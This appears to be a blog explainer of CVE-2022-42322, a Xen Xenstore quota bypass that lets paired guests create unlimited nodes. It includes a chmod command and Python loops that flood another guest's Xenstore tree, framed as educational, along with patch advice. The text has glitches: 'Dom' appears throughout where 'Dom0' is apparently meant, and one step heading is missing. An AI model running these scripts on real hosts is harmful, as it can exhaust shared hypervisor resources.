In late 2022, security researchers found a serious vulnerability in Xen’s core infrastructure, Xenstore, that allows cooperating virtual machines (guests) to fill a privileged area with unlimited entries. Officially tracked as CVE-2022-42322, this bug makes it possible for two malicious guests to create arbitrary numbers of Xenstore nodes, potentially putting system stability and performance at risk. In this post, I’ll break down how the vulnerability works, what the exploit looks like, and why the fix is essential for shared hosting and cloud environments.

What is Xenstore?

Xenstore is a key-value storage space in Xen hypervisor, used by guest VMs (domains) and the hypervisor (Dom) to communicate. It acts as a database where each guest gets its own “local tree” to store configuration and state. Normally, quotas and permissions prevent guests from abusing this shared space.

Background: The Problem Begins

This vulnerability is directly related to previous patches, especially XSA-322 (Advisory Here). Before that fix, when a virtual machine (domain) was destroyed, nodes it owned in Xenstore would be removed or cleaned up. After the fix, to prevent data loss, nodes belonging to a removed domain are instead reassigned to the administrator domain (Dom).

That alone isn’t a problem. But quotas for Xenstore apply only to regular guests—not to Dom. Here’s where the loophole forms.

Exploit Step-by-Step

Let’s walk through the attack in practice. *Note: The following code and commands are simplified for educational purposes only!*

Step 1: Set Up Shared Permission

Guest A gives Guest B permission to write into its local Xenstore tree (using Xenstore utility or API). For example, in Guest A:

# Grant guest B (domid 51) write permissions under /local/domain/50/mytree
xenstore-chmod /local/domain/50/mytree w51

In Guest B

import os

# Let's say domid A is 50
for n in range(100):
    key = f"/local/domain/50/mytree/node{n}"
    value = f"owned_by_B_{n}"
    os.system(f"xenstore-write {key} {value}")

Step 3: Guest B Reboots

After filling up A’s tree, Guest B reboots (or its domain is destroyed), simulating a normal shutdown.

Step 4: Ownership Transfer to Dom

When B is gone, Xenstore automatically transfers the ownership of all nodes created by B (in A’s tree) to Dom, due to the XSA-322 patch.

Step 5: Repeat

A can reset permissions for the next round, and B can return after reboot to create more nodes. Each time, the new nodes become “orphaned” under Dom. Since Dom’s node count isn’t limited by any quota, the process is only bounded by system resources.

Here’s a minimal demonstration, assuming you can script Xenstore from the guests

import os
import sys
import time

# domid of guest A (replace with actual domid)
DOMID_A = '50'
MYTREE = f"/local/domain/{DOMID_A}/exploittree"

# On guest B:
for i in range(10000):  # Arbitrarily large number for test
    node = f"{MYTREE}/node_{i}"
    value = f"exploit_{i}"
    # Create entry (requires xenstore-utils package)
    os.system(f"xenstore-write {node} {value}")

# Tell admin (or automatically reboot) to simulate exploitation repeat
print("Created nodes. Reboot to repeat.")

Defense and Fix

Xen’s maintainers have documented and patched the issue. They now ensure that orphaned nodes do not bypass quota, and have added logic to prevent unbounded growth via this trick.

If you run Xen

- Update to a version with the official patch applied.

References & Further Reading

- CVE-2022-42322 at NVD
- Xen Security Advisory XSA-423
- Original XSA-322 Fix
- Xenstore Documentation

Summary

CVE-2022-42322 exposes a clever way for pairs of guests to abuse Xenstore and impact the hypervisor itself by creating an unlimited number of nodes. This serves as a strong reminder that cloud infrastructure is only as secure as its least-protected boundary. Cooperative attacks can be just as powerful—and dangerous—as solo exploits, especially in multitenant environments like cloud hosting. Stay up to date with patches, and keep an eye on Xenstore abuse.


*Written exclusively for this audience, by a human cybersecurity explainer.*

Timeline

Published on: 11/01/2022 13:15:00 UTC
Last modified on: 11/04/2022 13:02:00 UTC